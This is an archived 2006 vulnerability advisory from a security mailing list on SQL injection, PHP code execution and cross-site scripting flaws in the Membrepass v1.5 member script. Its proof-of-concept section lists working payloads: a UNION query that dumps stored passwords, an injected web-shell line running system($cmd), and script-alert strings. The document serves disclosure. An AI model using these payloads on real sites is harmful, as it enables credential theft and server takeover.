Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

Membrepass v1.5 Php code execution, Xss, Sql Injection

Subject: Membrepass v1.5 Php code execution, Xss, Sql Injection
Date: 31 Aug 2006 13:58:40 -0000
=================================================================
 Affected.scr..: Membrepass v1.5
 Advisory.ID...: 09290806
 Type..........: Cross Site Scripting, SQL Injection
                 Php code execution
 Risk.level....: Medium
 Vendor.Status.: Unpatched
 Src.download..: comscripts.com/scripts/php.membrepass.1459.html
 Adv.link......: acid-root.new.fr/advisories/09290806.txt
=================================================================


==[ OVERVIEW
============
membrepass AVEC MESSAGERIE est un espace membre installation automatique.
Marche sur FREE,ONLINE et les autres hébergeurs.Le script est entierement
configurable et possible d'ajouter les couleurs de votre site.
Vous pouvez ajouter ou supprimer les champs formulaire.
Protection des emails contre aspirateurs (anti SPAM).
[Quote from www.comscripts.com]


==[ DETAILS
===========
Many vulnerabilities have been discovered in Membrepass v1.5.

1)Input passed to the "recherche" parameter in /recherchemembre.php isn't
properly sanitised before being used in a SQL query. This bug can be
exploited to conduct SQL injection attacks. Successful exploitation may
require that "magic_quotes_gpc" is disabled.

2)Input passed to the "aifon" parameter in /include/change.php isn't
properly satanised before being used in fputs() function. This can
be exploited to execude PHP code. Successful exploitation may require
that "register_globals" is enabled and "magic_quotes_gpc" is disabled.

3)Input passed to the "recherche" parameter in /recherchemembre.php and
to the "email" parameter in /test.php isn't properly satanised before
being returned to the user. This can be exploited to conduct cross-site
scripting attacks. Successful exploitation may require that
"register_globals" is enabled.


==[ POC/EXPLOIT
===============
POST /recherchemembre.php DATA recherche=' UNION SELECT 
passe,0,email,0,0,0,0,0,0,0,0,0,pseudo,0,0,0,0,0,0,0,0,0 FROM membre #
GET  /include/change.php  DATA ainfo="; $cmd = $_GET['cmd']; system($cmd); 
exit; // http://.../include/variable.php?cmd=dir
POST /recherchemembre.php DATA recherche=</b><script>alert(666)</script>
GET  /test.php            DATA email=<script>alert(666)</script>


==[ SOLUTION
============
Edit the source code to ensure that input is properly verified.


==[ TIMELINE
============
29. Aug. 2006 - Public Disclosure


==[ CONTACT
===========
Author: DarkFig
Web...: www.acid-root.new.fr
E-mail: gmdarkfig[*]gmail[*]com (fr/en)

<Prev in Thread] Current Thread [Next in Thread>
  • Membrepass v1.5 Php code execution, Xss, Sql Injection, gmdarkfig <=